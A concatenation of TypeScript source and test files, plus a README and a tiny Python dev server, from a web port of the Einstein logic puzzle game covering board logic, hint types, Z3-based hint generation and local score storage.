<file_sep>import {expect} from "chai";
import "mocha";
import {MultiBoard} from "../../../src/puzzle/board/MultiBoard";
import {OpenHint, OpenHintFactory} from "../../../src/puzzle/hint/OpenHint";
import {HintType} from "../../../src/puzzle/hint/Hint";
import {BoardOptions} from "../../../src/puzzle/board/Board";
import {SingleBoard} from "../../../src/puzzle/board/SingleBoard";
import {param} from "../../param";
import {paramBoardOptionsExtra} from "../paramPuzzle";
describe("OpenHint", function () {
describe("#apply()", function () {
let board: MultiBoard;
beforeEach(function () {
board = MultiBoard.full({rows: 3, cols: 3});
});
it("should set cell variant", function () {
board.applyHint(new OpenHint(0, 1, 2));
expect(board.isSingle(0, 1)).to.be.true;
expect(board.getSingle(0, 1)).to.equal(2);
});
it("should return true if variant is set", function () {
let changed = board.applyHint(new OpenHint(0, 1, 2));
expect(changed).to.be.true;
});
it("should not remove more variants than necessary", function () {
board.applyHint(new OpenHint(0, 1, 2));
let expectedBoard = MultiBoard.full({rows: 3, cols: 3});
expectedBoard.set(0, 1, 2);
expect(board).to.deep.equal(expectedBoard);
});
it("should return false if variant already set", function () {
board.set(0, 1, 2);
let changed = board.applyHint(new OpenHint(0, 1, 2));
expect(changed).to.be.false;
});
});
it("should have Start type", function () {
expect(new OpenHint(0, 1, 2).getType()).to.equal(HintType.Start);
});
});
describe("OpenHintFactory", function () {
const factory = new OpenHintFactory();
describe("#supports()", function () {
context("large enough board", function () {
paramBoardOptionsExtra([
{rows: 1, cols: 2},
{rows: 2, cols: 1},
{rows: 1, cols: 1}
], function (options) {
it("should return true", function () {
expect(factory.supports(options)).to.be.true;
});
});
});
// no too small boards
});
describe("#random()", function () {
context("returned hint", function () {
const options: BoardOptions = {rows: 6, cols: 6};
const board = SingleBoard.random(options);
param.repeat(100, () => factory.random(board), function (hint) {
it("should have valid row, col", function () {
expect(hint.row).to.be.within(0, board.rows - 1);
expect(hint.col).to.be.within(0, board.cols - 1);
});
it("should have correct variant", function () {
expect(hint.variant).to.equal(board.get(hint.row, hint.col));
});
});
});
});
});<file_sep>import {expect} from "chai";
import * as _ from "lodash";
import "mocha";
import {SingleBoard} from "../../../src/puzzle/board/SingleBoard";
import {OpenHint} from "../../../src/puzzle/hint/OpenHint";
import {SameColumnHint} from "../../../src/puzzle/hint/SameColumnHint";
import {paramBoardOptions} from "../paramPuzzle";
import {param} from "../../param";
describe("SingleBoard", function () {
describe("#random()", function () {
context("returned board", function () {
paramBoardOptions(function (options) {
param.repeat(20, () => SingleBoard.random(options), function (board) {
it("should have correct size", function () {
expect(board.rows).to.equal(options.rows);
expect(board.cols).to.equal(options.cols);
_.forEach(_.range(0, options.rows), row => {
_.forEach(_.range(0, options.cols), col => {
expect(board.get(row, col)).to.be.a("number");
});
});
});
it("should have permutations as rows", function () {
expect(board.variants).to.equal(options.cols);
_.forEach(_.range(0, options.rows), row => {
let rowValues = _.map(_.range(0, options.cols), col => board.get(row, col));
expect(rowValues).to.have.members(_.range(0, options.cols));
});
});
});
});
});
});
describe("#getCol()", function () {
const board = new SingleBoard([
[2, 1, 0],
[1, 2, 0],
[1, 0, 2]
]);
it("should return column of variant in row", function () {
expect(board.getCol(0, 2)).to.equal(0);
expect(board.getCol(0, 1)).to.equal(1);
expect(board.getCol(0, 0)).to.equal(2);
expect(board.getCol(1, 1)).to.equal(0);
expect(board.getCol(1, 2)).to.equal(1);
expect(board.getCol(1, 0)).to.equal(2);
expect(board.getCol(2, 1)).to.equal(0);
expect(board.getCol(2, 0)).to.equal(1);
expect(board.getCol(2, 2)).to.equal(2);
});
it("should return -1 if variant not in row", function () {
expect(board.getCol(0, 3)).to.equal(-1);
});
});
describe("#isSolvable()", function () {
const board = new SingleBoard([
[0, 1],
[1, 0]
]);
it("should return true if board is solvable using hints", function () {
let hints = [
new SameColumnHint(0, 1, 1, 0),
new OpenHint(0, 0, 0)
];
let solvable = board.isSolvable(hints);
expect(solvable).to.be.true;
});
it("should return false if board is not solvable using hints", function () {
let hints = [
new OpenHint(0, 0, 0)
];
let solvable = board.isSolvable(hints);
expect(solvable).to.be.false;
});
});
});<file_sep>import * as _ from "lodash";
import {SingleBoard} from "../board/SingleBoard";
import {Hint, HintFactory} from "../hint/Hint";
import {PuzzleOptions} from "../Puzzle";
import {RandomHintFactory} from "../RandomHint";
export interface HintsGenerator {
supports(options: PuzzleOptions): boolean;
generate(options: PuzzleOptions, board: SingleBoard): Promise<Hint[]>;
}
export abstract class DelegateHintsGenerator implements HintsGenerator {
constructor(protected delegate: HintsGenerator) {
}
supports(options: PuzzleOptions): boolean {
return this.delegate.supports(options);
}
abstract generate(options: PuzzleOptions, board: SingleBoard): Promise<Hint[]>;
}
export abstract class SolvableHintsGenerator implements HintsGenerator {
protected static hintFactory: HintFactory = new RandomHintFactory();
supports(options: PuzzleOptions): boolean {
return SolvableHintsGenerator.hintFactory.supports(options);
}
async generate(options: PuzzleOptions, board: SingleBoard): Promise<Hint[]> {
let hints = this.generateHints(board);
return this.pruneHints(board, hints);
}
abstract isSolvable(board: SingleBoard, hints: Hint[]): boolean;
protected generateHints(board: SingleBoard): Hint[] {
let hints: Hint[] = [];
while (!this.isSolvable(board, hints)) {
let hint = SolvableHintsGenerator.hintFactory.random(board);
hints.push(hint);
}
return hints;
}
protected pruneHints(board: SingleBoard, hints: Hint[]): Hint[] {
hints = _.clone(hints);
console.debug(`Before pruneHints: ${hints.length}`);
for (let i = 0; i < hints.length;) { // no i++
let hint = hints.splice(i, 1)[0];
if (this.isSolvable(board, hints)) {
// keep i which now points to next hint
}
else {
hints.splice(i, 0, hint);
i++;
}
}
console.debug(`After pruneHints: ${hints.length}`);
return hints;
}
}<file_sep>import * as _ from "lodash";
import {getZ3, Z3} from "../../z3/Z3";
import {SingleBoard} from "../board/SingleBoard";
import {AdjacentHint} from "../hint/AdjacentHint";
import {BetweenHint} from "../hint/BetweenHint";
import {DirectionHint} from "../hint/DirectionHint";
import {Hint, HintFactory} from "../hint/Hint";
import {OpenHint} from "../hint/OpenHint";
import {SameColumnHint} from "../hint/SameColumnHint";
import {PuzzleOptions} from "../Puzzle";
import {RandomHintFactory} from "../RandomHint";
import {HintsGenerator} from "./HintsGenerator";
export class Z3HintsGenerator implements HintsGenerator {
private static hintFactory: HintFactory = new RandomHintFactory();
private z3: Z3;
private ctx;
supports(options: PuzzleOptions): boolean {
return Z3HintsGenerator.hintFactory.supports(options);
}
async generate(options: PuzzleOptions, board: SingleBoard): Promise<Hint[]> {
console.debug("getZ3");
this.z3 = await getZ3();
this.makeContext();
// this.ask("(set-option :produce-unsat-cores true)"); // TODO: why parser error?
this.assertBoard(board);
let hints = this.generateHints(board);
hints = this.pruneHints(board, hints);
this.deleteContext();
return hints;
}
private makeContext() {
console.debug("makeContext");
this.z3.global_param_set("unsat_core", "true");
this.z3.global_param_set("smt.core.minimize", "true");
let cfg = this.z3.mk_config();
this.ctx = this.z3.mk_context(cfg);
this.z3.set_error_handler(this.ctx, this.z3.errorHandler);
this.z3.del_config(cfg);
}
private ask(smtlib2: string): string {
// console.debug(smtlib2);
return this.z3.eval_smtlib2_string(this.ctx, smtlib2).trim();
}
private deleteContext() {
console.debug("deleteContext");
this.z3.del_context(this.ctx);
}
protected generateHints(board: SingleBoard): Hint[] {
let hints: Hint[] = [];
while (!this.isUniqueSolvable()) {
let hint = Z3HintsGenerator.hintFactory.random(board);
hints.push(hint);
let i = hints.length - 1;
let constraint = Z3HintsGenerator.getHintConstraint(hint);
this.ask(`(assert (! ${constraint} :named h${i}))`);
}
return hints;
}
protected pruneHints(board: SingleBoard, hints: Hint[]): Hint[] {
console.debug(`Before pruneHints: ${hints.length}`);
let getUnsatCore = this.ask("(get-unsat-core)");
console.debug(getUnsatCore);
let coreIs = _.map(getUnsatCore.match(/\d+/g), i => parseInt(i));
hints = _.filter(hints, (hint, i) => _.includes(coreIs, i));
console.debug(`After pruneHints: ${hints.length}`);
return hints;
}
private isUniqueSolvable() {
let checkSat = this.ask("(check-sat)");
let unique = checkSat == "unsat";
return unique;
}
private assertBoard(board: SingleBoard) {
console.debug("assertBoard");
for (let row = 0; row < board.rows; row++) {
let xs = "";
for (let variant = 0; variant < board.variants; variant++) {
let x = `x${row}${variant}`;
this.ask(`(declare-const ${x} Int)`);
this.ask(`(assert (and (<= 0 ${x}) (< ${x} ${board.cols})))`);
xs += " " + x;
}
this.ask(`(assert (distinct${xs}))`);
}
let ds = "";
for (let row = 0; row < board.rows; row++) {
for (let col = 0; col < board.cols; col++) {
let variant = board.get(row, col);
let x = `x${row}${variant}`;
ds += ` (distinct ${x} ${col})`;
}
}
this.ask(`(assert (or${ds}))`);
}
private static getHintConstraint(hint: Hint): string {
if (hint instanceof AdjacentHint) {
let x1 = `x${hint.row1}${hint.variant1}`;
let x2 = `x${hint.row2}${hint.variant2}`;
return `(or (= ${x1} (+ ${x2} 1)) (= ${x1} (- ${x2} 1)))`;
}
else if (hint instanceof BetweenHint) {
let x1 = `x${hint.row1}${hint.variant1}`;
let xMiddle = `x${hint.rowMiddle}${hint.variantMiddle}`;
let x2 = `x${hint.row2}${hint.variant2}`;
return `(or (and (= ${xMiddle} (+ ${x1} 1)) (= ${xMiddle} (- ${x2} 1))) (and (= ${xMiddle} (+ ${x2} 1)) (= ${xMiddle} (- ${x1} 1))))`;
}
else if (hint instanceof DirectionHint) {
let xLeft = `x${hint.rowLeft}${hint.variantLeft}`;
let xRight = `x${hint.rowRight}${hint.variantRight}`;
return `(< ${xLeft} ${xRight})`;
}
else if (hint instanceof OpenHint) {
let x = `x${hint.row}${hint.variant}`;
return `(= ${x} ${hint.col})`;
}
else if (hint instanceof SameColumnHint) {
let x1 = `x${hint.row1}${hint.variant1}`;
let x2 = `x${hint.row2}${hint.variant2}`;
return `(= ${x1} ${x2})`;
}
else
throw new Error("Unsupported hint type");
}
}<file_sep>import * as _ from "lodash";
import {PuzzleOptions} from "../puzzle/Puzzle";
import {db} from "./db";
export interface TimesItem extends PuzzleOptions {
time: number;
date: Date;
name?: string;
}
export namespace Times {
export function addItem(timesItem: TimesItem) {
return db.times.add(timesItem);
}
export function add(options: PuzzleOptions, time: number, name?: string) {
let timesItem = {
...options,
time: time,
date: new Date(),
name: name
};
return addItem(timesItem);
}
export function getSortedTimes(options: PuzzleOptions): Promise<TimesItem[]> {
return db.times.where({...options}).sortBy("time");
}
export function getTop10(options: PuzzleOptions): Promise<TimesItem[]> {
return getSortedTimes(options).then(timesItems =>
_.take(timesItems, 10)
);
}
export function isInTop10(options: PuzzleOptions, time: number): Promise<false | number> {
return getSortedTimes(options).then(timesItems => {
if (timesItems.length < 10 || time < timesItems[10 - 1].time)
return _.sortedIndexBy(timesItems.slice(0, 10), {time: time}, timesItem => timesItem.time);
else
return false;
});
}
export function hasTimes(options: PuzzleOptions): Promise<boolean> {
return db.times.where({...options}).count(count => count > 0);
}
}<file_sep>import * as _ from "lodash";
import {AbstractDistribution} from "./AbstractDistribution";
export type NumericObject = {
[value: string]: number;
}
export class ObjectDistribution extends AbstractDistribution<string> {
constructor(private readonly object: NumericObject) {
super();
}
get n(): number {
return _.sum(_.values(this.object));
}
get classes(): number {
return _.size(this.object);
}
get(value: string): number | undefined {
return this.object[value];
}
mapFreqs(f: (freq: number, value: string) => number): ObjectDistribution {
return new ObjectDistribution(_.mapValues(this.object, f));
}
map<U>(f: (freq: number, value: string) => U): U[] {
return _.map(this.object, f);
}
filter(p: (freq: number, value: string) => boolean): ObjectDistribution {
return new ObjectDistribution(_.pickBy(this.object, p));
}
static monteCarlo(n: number, generator: () => string): ObjectDistribution {
let observed: NumericObject = {};
for (let i = 0; i < n; i++) {
let value = generator();
if (!(value in observed))
observed[value] = 0;
observed[value]++;
}
return new ObjectDistribution(observed);
}
}<file_sep>import * as _ from "lodash";
import {Distribution} from "./Distribution";
import * as chiSquared from "chi-squared";
export namespace ChiSq {
export function testStatistic<T>(observed: Distribution<T>, expected: Distribution<T>): number {
expected = expected.scaleTo(observed);
return _.sum(expected.map((expectedFreq, value) => {
let observedFreq = observed.get(value) || 0;
return Math.pow(observedFreq - expectedFreq, 2) / expectedFreq;
}));
}
export function test<T>(observed: Distribution<T>, expected: Distribution<T>): number {
let statistic = testStatistic(observed, expected);
let df = expected.classes - 1;
return 1 - chiSquared.cdf(statistic, df);
}
}<file_sep>export type Supplier<T> = () => T;
export function memoizeSupplier<T>(supplier: Supplier<T>): Supplier<T> {
let p: T | null = null;
return () => p === null ? (p = supplier()) : p;
}<file_sep>[](https://travis-ci.org/sim642/einstein-js)
[](https://david-dm.org/sim642/einstein-js/master)
[](https://david-dm.org/sim642/einstein-js/master?type=dev)
# einstein-js
Einstein Puzzle 2.0 by Flowix Games ported to the web
<file_sep>import {SingleBoard} from "../board/SingleBoard";
import {Hint} from "../hint/Hint";
import {PuzzleOptions} from "../Puzzle";
import {DelegateHintsGenerator} from "./HintsGenerator";
export class NonApplyHintsGenerator extends DelegateHintsGenerator {
supports(options: PuzzleOptions): boolean {
return options.cols > 2 && super.supports(options);
}
async generate(options: PuzzleOptions, board: SingleBoard): Promise<Hint[]> {
let hints: Hint[];
let i = 0;
do {
hints = await this.delegate.generate(options, board);
i++;
} while (board.isSolvable(hints));
console.log(`${i} tries to non-apply`);
return hints;
}
}<file_sep>export function isWasmSupported(): boolean {
// https://stackoverflow.com/a/47880734/854540
// TODO more thorough check
return typeof WebAssembly === "object";
}<file_sep>import {SingleBoard} from "../board/SingleBoard";
import {Hint} from "../hint/Hint";
import {SolvableHintsGenerator} from "./HintsGenerator";
export class ApplyHintsGenerator extends SolvableHintsGenerator {
isSolvable(board: SingleBoard, hints: Hint[]): boolean {
return board.isSolvable(hints);
}
}<file_sep>import * as _ from "lodash";
import {param} from "../param";
import {BoardOptions} from "../../src/puzzle/board/Board";
import {PuzzleOptions} from "../../src/puzzle/Puzzle";
const defaultBoardOptions = [
{rows: 6, cols: 6},
{rows: 5, cols: 5},
{rows: 4, cols: 4},
{rows: 6, cols: 4},
{rows: 3, cols: 3},
{rows: 2, cols: 2}
];
export function paramBoardOptions(callback: (options: BoardOptions) => void): void {
param<BoardOptions>(defaultBoardOptions, callback);
}
export function paramBoardOptionsExtra(extraBoardOptions: BoardOptions[], callback: (options: BoardOptions) => void): void {
param<BoardOptions>(_.concat(defaultBoardOptions, extraBoardOptions), callback);
}
export function paramPuzzleOptions(callback: (options: PuzzleOptions) => void): void {
param<PuzzleOptions>([
{rows: 6, cols: 6, extraHintsPercent: 0, difficulty: "normal"},
{rows: 5, cols: 5, extraHintsPercent: 0, difficulty: "normal"},
{rows: 4, cols: 4, extraHintsPercent: 0, difficulty: "normal"},
{rows: 6, cols: 4, extraHintsPercent: 0, difficulty: "normal"},
{rows: 3, cols: 3, extraHintsPercent: 0, difficulty: "normal"},
{rows: 2, cols: 2, extraHintsPercent: 0, difficulty: "normal"},
{rows: 6, cols: 6, extraHintsPercent: 25, difficulty: "normal"},
{rows: 6, cols: 6, extraHintsPercent: 50, difficulty: "normal"},
{rows: 6, cols: 6, extraHintsPercent: 100, difficulty: "normal"}
// TODO: different difficulty
], callback);
}<file_sep>export interface BoardOptions {
readonly rows: number;
readonly cols: number;
}
export abstract class Board<T> {
constructor(private table: T[][], public readonly options: BoardOptions = {
rows: table.length,
cols: table[0].length
}) {
}
readonly rows: number = this.options.rows;
readonly cols: number = this.options.cols;
readonly variants: number = this.options.cols;
get(row: number, col: number): T {
return this.table[row][col];
}
}<file_sep>import {Listener} from "./Listener";
export class MessageUnloadListener implements Listener {
constructor(public callback: () => string | null) {
}
private onBeforeUnload = (e) => {
let message = this.callback();
if (message !== null)
return e.returnValue = message;
else
return undefined;
};
add(): void {
window.addEventListener("beforeunload", this.onBeforeUnload);
}
remove(): void {
window.removeEventListener("beforeunload", this.onBeforeUnload);
}
}<file_sep>import * as _ from "lodash";
import {AbstractDistribution} from "./AbstractDistribution";
export type NumericPair<T> = [T, number];
export type NumericPairs<T> = NumericPair<T>[];
export class PairsDistribution<T> extends AbstractDistribution<T> {
constructor(private readonly pairs: NumericPairs<T>) {
super();
}
private find(value: T): NumericPair<T> | undefined {
return PairsDistribution.find(this.pairs, value);
}
get(value: T): number | undefined {
const pair = this.find(value);
return pair !== undefined ? pair[1] : undefined;
}
get n(): number {
return _.sumBy(this.pairs, pair => pair[1]);
}
get classes(): number {
return this.pairs.length;
}
mapFreqs(f: (freq: number, value: T) => number): PairsDistribution<T> {
return new PairsDistribution(this.map((freq, value) => [value, f(freq, value)]) as NumericPairs<T>);
}
map<U>(f: (freq: number, value: T) => U): U[] {
return _.map(this.pairs, ([value, freq]) => f(freq, value));
}
filter(p: (freq: number, value: T) => boolean): PairsDistribution<T> {
return new PairsDistribution<T>(_.filter(this.pairs, ([value, freq]) => p(freq, value)));
}
private static find<T>(pairs: NumericPairs<T>, value: T): NumericPair<T> | undefined {
return _.find(pairs, pair => pair[0] === value);
}
static monteCarlo<T>(n: number, generator: () => T): PairsDistribution<T> {
let observed: NumericPairs<T> = [];
for (let i = 0; i < n; i++) {
let value = generator();
let pair = PairsDistribution.find(observed, value);
if (pair === undefined) {
pair = [value, 0];
observed.push(pair);
}
pair[1]++;
}
return new PairsDistribution<T>(observed);
}
protected toPairs(): NumericPairs<T> {
return this.pairs;
}
}<file_sep>import http.server
PORT = 8000
class Handler(http.server.SimpleHTTPRequestHandler):
pass
Handler.extensions_map[".wasm"] = "application/wasm" # needed for streaming WASM compilation
httpd = http.server.HTTPServer(("", PORT), Handler)
print("Serving at port", PORT)
httpd.serve_forever()<file_sep>export interface TouchHandler {
onTouchStart(e: TouchEvent): void;
onTouchMove(e: TouchEvent): void;
onTouchEnd(e: TouchEvent): void;
onTouchCancel(e: TouchEvent): void;
}
export interface ContextMenuHandler {
onContextMenu(e: MouseEvent): void;
}
export type TouchContextMenuHandler = TouchHandler & ContextMenuHandler;<file_sep>import * as _ from "lodash";
import {BoardOptions} from "./board/Board";
import {MultiBoard} from "./board/MultiBoard";
import {SingleBoard} from "./board/SingleBoard";
import {Hint, HintType} from "./hint/Hint";
import {mainPuzzleGenerator} from "./PuzzleGenerator";
export type Difficulty = "normal" | "hard";
export interface PuzzleOptions extends BoardOptions {
readonly extraHintsPercent: number;
readonly difficulty: Difficulty;
}
export class Puzzle {
public multiBoard: MultiBoard;
constructor(public singleBoard: SingleBoard, public hints: Hint[], public readonly options: PuzzleOptions) {
this.multiBoard = MultiBoard.full(options);
this.multiBoard.applyHints(_.filter(hints, hint => hint.getType() === HintType.Start));
}
isSolved(): boolean {
return this.multiBoard.isSolved(this.singleBoard);
}
isOver(): boolean {
return !this.multiBoard.contains(this.singleBoard);
}
applySingleHint(): boolean {
return this.multiBoard.applySingleHint(_.filter(this.hints, hint => hint.getType() !== HintType.Start));
}
canApplySingleHint(): boolean {
let tmpPuzzle: Puzzle = _.cloneDeep(this);
return tmpPuzzle.applySingleHint();
}
static generate(options: PuzzleOptions): Promise<Puzzle> {
return mainPuzzleGenerator.generate(options); // TODO: remove because usages should check supports before
}
}<file_sep>import * as _ from "lodash";
import {BoardOptions} from "../board/Board";
import {MultiBoard} from "../board/MultiBoard";
import {SingleBoard} from "../board/SingleBoard";
import {Hint, HintFactory, HintType} from "./Hint";
export class AdjacentHint implements Hint {
constructor(public row1: number, public variant1: number, public row2: number, public variant2: number) {
}
applyTo(board: MultiBoard): boolean {
let changed = false;
let applyToCol = (col: number, thisRow: number, thisVariant: number, adjRow: number, adjVariant: number) => {
const hasLeft = col >= 1 ? board.isPossible(adjRow, col - 1, adjVariant) : false;
const hasRight = col < board.cols - 1 ? board.isPossible(adjRow, col + 1, adjVariant) : false;
if (!hasLeft && !hasRight && board.isPossible(thisRow, col, thisVariant)) {
board.remove(thisRow, col, thisVariant);
changed = true;
}
};
for (let col = 0; col < board.cols; col++) {
applyToCol(col, this.row1, this.variant1, this.row2, this.variant2);
applyToCol(col, this.row2, this.variant2, this.row1, this.variant1);
}
if (changed)
this.applyTo(board);
return changed;
}
getType(): HintType {
return HintType.Horizontal;
}
}
export class AdjacentHintFactory implements HintFactory {
supports(options: BoardOptions): boolean {
return options.rows >= 1 && options.cols >= 2;
}
random(board: SingleBoard): AdjacentHint {
let row1 = _.random(0, board.rows - 1);
let col1 = _.random(0, board.cols - 1);
let row2 = _.random(0, board.rows - 1);
let colDelta;
if (col1 == 0)
colDelta = 1;
else if (col1 == board.cols - 1)
colDelta = -1;
else
colDelta = _.random(0, 1) == 1 ? 1 : -1;
let col2 = col1 + colDelta;
return new AdjacentHint(row1, board.get(row1, col1), row2, board.get(row2, col2));
}
}<file_sep>import * as _ from "lodash";
import {BoardOptions} from "../board/Board";
import {MultiBoard} from "../board/MultiBoard";
import {SingleBoard} from "../board/SingleBoard";
import {Hint, HintFactory, HintType} from "./Hint";
export class DirectionHint implements Hint {
constructor(public rowLeft: number, public variantLeft: number, public rowRight: number, public variantRight: number) {
}
applyTo(board: MultiBoard): boolean {
let changed = false;
for (let col = 0; col < board.cols; col++) {
if (board.isPossible(this.rowRight, col, this.variantRight)) {
board.remove(this.rowRight, col, this.variantRight);
changed = true;
}
if (board.isPossible(this.rowLeft, col, this.variantLeft))
break;
}
for (let col = board.cols - 1; col >= 0; col--) {
if (board.isPossible(this.rowLeft, col, this.variantLeft)) {
board.remove(this.rowLeft, col, this.variantLeft);
changed = true;
}
if (board.isPossible(this.rowRight, col, this.variantRight))
break;
}
return changed;
}
getType(): HintType {
return HintType.Horizontal;
}
}
export class DirectionHintFactory implements HintFactory {
supports(options: BoardOptions): boolean {
return options.rows >= 1 && options.cols >= 2;
}
random(board: SingleBoard): DirectionHint {
let rowLeft = _.random(0, board.rows - 1);
let colLeft = _.random(0, board.cols - 2);
let rowRight = _.random(0, board.rows - 1);
let colRight = _.random(colLeft + 1, board.cols - 1);
return new DirectionHint(rowLeft, board.get(rowLeft, colLeft), rowRight, board.get(rowRight, colRight));
}
}<file_sep>import * as _ from "lodash";
import {BoardOptions} from "../board/Board";
import {MultiBoard} from "../board/MultiBoard";
import {SingleBoard} from "../board/SingleBoard";
import {Hint, HintFactory, HintType} from "./Hint";
export class BetweenHint implements Hint {
constructor(public row1: number, public variant1: number, public rowMiddle: number, public variantMiddle: number, public row2: number, public variant2: number) {
}
applyTo(board: MultiBoard): boolean {
let changed = false;
if (board.isPossible(this.rowMiddle, 0, this.variantMiddle)) {
board.remove(this.rowMiddle, 0, this.variantMiddle);
changed = true;
}
if (board.isPossible(this.rowMiddle, board.cols - 1, this.variantMiddle)) {
board.remove(this.rowMiddle, board.cols - 1, this.variantMiddle);
changed = true;
}
let changed2;
do {
changed2 = false;
for (let col = 1; col < board.cols - 1; col++) {
if (board.isPossible(this.rowMiddle, col, this.variantMiddle) &&
!(board.isPossible(this.row1, col - 1, this.variant1) && board.isPossible(this.row2, col + 1, this.variant2) ||
board.isPossible(this.row2, col - 1, this.variant2) && board.isPossible(this.row1, col + 1, this.variant1))) {
board.remove(this.rowMiddle, col, this.variantMiddle);
changed2 = true;
}
}
for (let col = 0; col < board.cols; col++) {
if (board.isPossible(this.row1, col, this.variant1)) {
const leftPossible = col >= 2 ? board.isPossible(this.rowMiddle, col - 1, this.variantMiddle) && board.isPossible(this.row2, col - 2, this.variant2) : false;
const rightPossible = col < board.cols - 2 ? board.isPossible(this.rowMiddle, col + 1, this.variantMiddle) && board.isPossible(this.row2, col + 2, this.variant2) : false;
if (!leftPossible && !rightPossible) {
board.remove(this.row1, col, this.variant1);
changed2 = true;
}
}
if (board.isPossible(this.row2, col, this.variant2)) {
const leftPossible = col >= 2 ? board.isPossible(this.rowMiddle, col - 1, this.variantMiddle) && board.isPossible(this.row1, col - 2, this.variant1) : false;
const rightPossible = col < board.cols - 2 ? board.isPossible(this.rowMiddle, col + 1, this.variantMiddle) && board.isPossible(this.row1, col + 2, this.variant1) : false;
if (!leftPossible && !rightPossible) {
board.remove(this.row2, col, this.variant2);
changed2 = true;
}
}
}
if (changed2)
changed = true;
} while (changed2);
return changed;
}
getType(): HintType {
return HintType.Horizontal;
}
}
export class BetweenHintFactory implements HintFactory {
supports(options: BoardOptions): boolean {
return options.rows >= 1 && options.cols >= 3;
}
random(board: SingleBoard): BetweenHint {
let row1 = _.random(0, board.rows - 1);
let rowMiddle = _.random(0, board.rows - 1);
let colMiddle = _.random(1, board.cols - 2);
let row2 = _.random(0, board.rows - 1);
let colDelta = _.random(0, 1) == 1 ? 1 : -1;
let col1 = colMiddle + colDelta;
let col2 = colMiddle - colDelta;
return new BetweenHint(row1, board.get(row1, col1), rowMiddle, board.get(rowMiddle, colMiddle), row2, board.get(row2, col2));
}
}<file_sep>import * as _ from "lodash";
import {PuzzleOptions} from "../puzzle/Puzzle";
import {db} from "./db";
export interface ConfigItem {
key: string;
value: any;
}
export interface Config {
options?: PuzzleOptions;
name?: string;
}
export namespace Config {
export function getKey<K extends keyof Config>(key: K): Promise<Config[K] | undefined> {
return db.config.get(key, configItem => configItem !== undefined ? configItem.value : undefined);
}
export function get(): Promise<Config> {
return db.config.toArray(configItems =>
_.fromPairs(_.map(configItems, configItem => [configItem.key, configItem.value]))
);
}
export function setKey<K extends keyof Config>(key: K, value: Config[K]): Promise<string> {
return db.config.put({
key: key,
value: value
});
}
export function set(newConfig: Partial<Config>): Promise<string> {
return db.config.bulkPut(_.map(_.toPairs(newConfig), pair => ({key: pair[0], value: pair[1]})));
}
}<file_sep>import * as _ from "lodash";
import {PuzzleOptions} from "../puzzle/Puzzle";
import {db} from "./db";
export interface Counts {
solved: number;
solvedCheated: number;
over: number;
}
export interface CountsItem extends PuzzleOptions, Counts {
id?: number;
}
export namespace Counts {
export function get(options: PuzzleOptions): Promise<CountsItem> {
return db.counts.get({...options}, countsItem => { // TODO: why spread?
if (countsItem === undefined) {
let defaultItem: CountsItem = {
...options,
solved: 0,
solvedCheated: 0,
over: 0
}; // extracted to have explicit type annotation
return defaultItem;
}
else
return countsItem;
});
}
export function getTopCounts(): Promise<CountsItem[]> {
return db.counts.toArray().then(countsItems =>
_.orderBy(countsItems, countsItem =>
countsItem.solved + countsItem.solvedCheated + countsItem.over,
["desc"])
);
}
export function increase(options: PuzzleOptions, count: keyof Counts): Promise<number> {
return db.transaction("rw", db.counts, () =>
get(options).then(countsItem => {
let newCountsItem: CountsItem = _.merge(countsItem, {
[count]: countsItem[count] + 1
});
return db.counts.put(newCountsItem);
})
);
}
}<file_sep>import {BoardOptions} from "../board/Board";
import {MultiBoard} from "../board/MultiBoard";
import {SingleBoard} from "../board/SingleBoard";
export const enum HintType {
Start,
Horizontal,
Vertical,
}
export interface Hint {
applyTo(board: MultiBoard): boolean;
getType(): HintType;
}
export interface HintFactory {
supports(options: BoardOptions): boolean;
random(board: SingleBoard): Hint;
}<file_sep>import * as _ from "lodash";
import {Hint} from "../hint/Hint";
import {Board, BoardOptions} from "./Board";
import {SingleBoard} from "./SingleBoard";
type Variants = boolean[];
type NumberVariants = number[];
export class MultiBoard extends Board<Variants> {
static full(options: BoardOptions): MultiBoard {
return new MultiBoard(_.times(options.rows, row => _.times(options.cols, col => _.times(options.cols, _.constant(true)))), options);
}
static numberVariants(table: NumberVariants[][], options?: BoardOptions): MultiBoard {
return new MultiBoard(_.map(table, rowCells => _.map(rowCells, cell => {
let variants = _.times(rowCells.length, _.constant(false));
for (let numberVariant of cell)
variants[numberVariant] = true;
return variants;
})), options);
}
remove(row: number, col: number, variant: number): void {
if (this.get(row, col)[variant]) {
this.get(row, col)[variant] = false;
this.pruneSingles(row);
}
}
set(row: number, col: number, variant: number): void {
for (let variant = 0; variant < this.variants; variant++)
this.get(row, col)[variant] = false;
for (let col = 0; col < this.cols; col++)
this.get(row, col)[variant] = false;
this.get(row, col)[variant] = true;
this.pruneSingles(row);
}
isPossible(row: number, col: number, variant: number): boolean {
return this.get(row, col)[variant];
}
count(row: number, col: number): number {
return _.sumBy(this.get(row, col), variant => variant ? 1 : 0);
}
isSingle(row: number, col: number): boolean {
return this.count(row, col) == 1;
}
getSingle(row: number, col: number): number {
return _.findIndex(this.get(row, col));
}
private pruneSingles(row: number): void {
let colCnt = _.times(this.cols, _.constant(0));
let variantCnt = _.times(this.variants, _.constant(0));
let colVariant = _.times(this.cols, _.constant(0));
let variantCol = _.times(this.variants, _.constant(0));
for (let col = 0; col < this.cols; col++) {
for (let variant = 0; variant < this.variants; variant++) {
if (this.get(row, col)[variant]) {
colCnt[col]++;
variantCnt[variant]++;
colVariant[col] = variant;
variantCol[variant] = col;
}
}
}
let changed = false;
for (let col = 0; col < this.cols; col++) {
if (colCnt[col] == 1 && variantCnt[colVariant[col]] != 1) {
const variant = colVariant[col];
for (let col2 = 0; col2 < this.cols; col2++) {
if (col2 != col)
this.get(row, col2)[variant] = false;
}
changed = true;
}
}
for (let variant = 0; variant < this.variants; variant++) {
if (variantCnt[variant] == 1 && colCnt[variantCol[variant]] != 1) {
const col = variantCol[variant];
for (let variant2 = 0; variant2 < this.variants; variant2++) {
if (variant2 != variant)
this.get(row, col)[variant2] = false;
}
changed = true;
}
}
if (changed)
this.pruneSingles(row);
}
applyHint(hint: Hint): boolean {
return hint.applyTo(this);
}
applyHints(hints: Hint[]): boolean {
let changed = false;
let changed2: boolean;
do {
changed2 = false;
for (let hint of hints) {
if (this.applyHint(hint))
changed = changed2 = true;
}
} while (changed2);
return changed;
}
applySingleHint(hints: Hint[]): boolean {
for (let hint of hints) {
if (this.applyHint(hint))
return true;
}
return false;
}
isSolved(singleBoard: SingleBoard): boolean {
return this.isSingleBoard() && this.contains(singleBoard);
}
isSingleBoard(): boolean {
for (let row = 0; row < this.rows; row++) {
for (let col = 0; col < this.cols; col++) {
if (!this.isSingle(row, col))
return false;
}
}
return true;
}
